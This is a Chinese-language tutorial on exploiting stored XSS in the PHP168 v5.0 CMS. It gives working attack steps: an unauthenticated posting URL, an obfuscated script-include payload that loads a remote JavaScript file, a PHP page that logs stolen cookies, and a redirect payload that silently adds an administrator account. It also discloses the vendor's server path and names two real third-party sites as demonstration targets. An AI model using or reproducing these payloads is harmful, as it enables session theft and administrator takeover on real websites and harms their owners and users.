(一)软件测试环境以及搭建
测试环境:本地 XAMPP 1.7.1
测试软件:PHP168整站v5.0
软件下载地址 http://down2.php168.com/v2008.rar
PHP.ini 配置: magic_quotes_gpc Off(On或者Off对持久型XSS并无没影响) ;register_globals Off ;safe_mode Off ;
(二)XSS跨站基础
1、XSS攻击定义
XSS又叫CSS (Cross Site Script) ,简称跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性,实际很多系统都存在XSS漏洞,本文中主要是研究PHP168整站系统中的XSS的利用。
2、如何寻找XSS漏洞
就一般而言,XSS攻击可以分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
3、如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。
(三)XSS跨站利用
1.获取XSS漏洞地址
XSS又叫CSS 全称Cross Site Scripting 跨站脚本攻击。分为持久性,反射型两种。本文演示的是持久性跨站以及简单利用。其实都是站在前人的基础上,感谢那些无私奉献的牛牛。我们安装完php168后,不要登陆,直接打开如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2
可以绕过管理员登陆,直接发表文章,如图1所示。
图1绕过验证直接发帖
说明:
如果是在实际网络上面进行测试,可以使用“php168/member/post.php”作为关键值进行搜索,找到搜索结果后,对结果进行查看,如图2所示,单击其中的“发表”链接进入发表页面。这样获取的Fid才是正确的ID,否则得到的ID打不开页面,如图3所示。在图3中的相应输入框中输入相应的测试值,完毕进行发表,如图4所示,会给出发表后的相应操作,单击查看,可以看到刚才发表的帖子,如图5所示,整个发表过程无须审核和登录。
图2 搜索获取php168发帖地址
图3 直接发表帖子
图4 发表帖子成功
图5 查看发表的帖子
2.测试XSS
在发表帖子页面中选择“源码”模式,然后在内容中加入以下代码:
然后单击发表,我们看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4
邪恶的XSS 出现,如图6所示。
图6找到邪恶的XSS
3.远程包含JS文件攻击
我们远程包含JS文件来攻击,代码如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
这样直接发上去是会被过滤掉的,我们转换编码,对于不会转换编码的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接转换。
代码如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
这样我们就可以直接编辑我们的xss.js文件来吊管理员Cookie了。当然反射型的更多。其执行效果如图7所示。
图7 XSS读取效果
4.获取Cookie
我们编辑js文件如下:
alert(document.cookie);
返回查看,如图8所示,显示本地的Cookie值。
图8 获取本地Cookie值
当然我们隐藏钓管理员Cookie,并没测试官方。请大牛试试吧。
5.编写代码获取Cookie或者直接添加管理员
编写我们的PHP文件,代码如下:
/*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */
$txtfile = "menzhi.php";
$date = date("Y-m-d - H:i:s");
$cookie = $_GET['get'];
$writeinfo = "{$date}\n{$cookie}\n";
$printer = fopen($txtfile, 'a');
fwrite($printer,$writeinfo);
fclose($printer);
?>或者直接添加管理员,代码如下:
location.href="http://127.0.0.1/php168/admin/index.php?lfj=member&action=addmember&postdb%5Busername%5D=menzhi007&postdb%5Bpasswd%5D=menzhi007&postdb%5Bpasswd2%5D=menzhi007&postdb%5Bgroupid%5D=3&postdb%5Bemail%[email protected]&Submit=%CC%E1%BD%BB";
平时也没什么时间上网,具体大家自己测试吧。官方路径:D:\p8-server\wwwroot\php168_com\
已通知官方修补漏洞了,不要搞破坏(没进入官方挺后悔的)。
(四)实例演示
大家打开官方主页http://www.php168.com/biz/impower.php
商业授权查询,如图9所示。
图9 获取使用php168整站系统的用户
我们随便挑几个,演示站点:
http://www.3cq.org/member/post.php?job=postnew&fid=2
图10演示站点1
演示站点2:
http://www.ccdv.cc/member/post.php?job=postnew&fid=2
图11演示站点2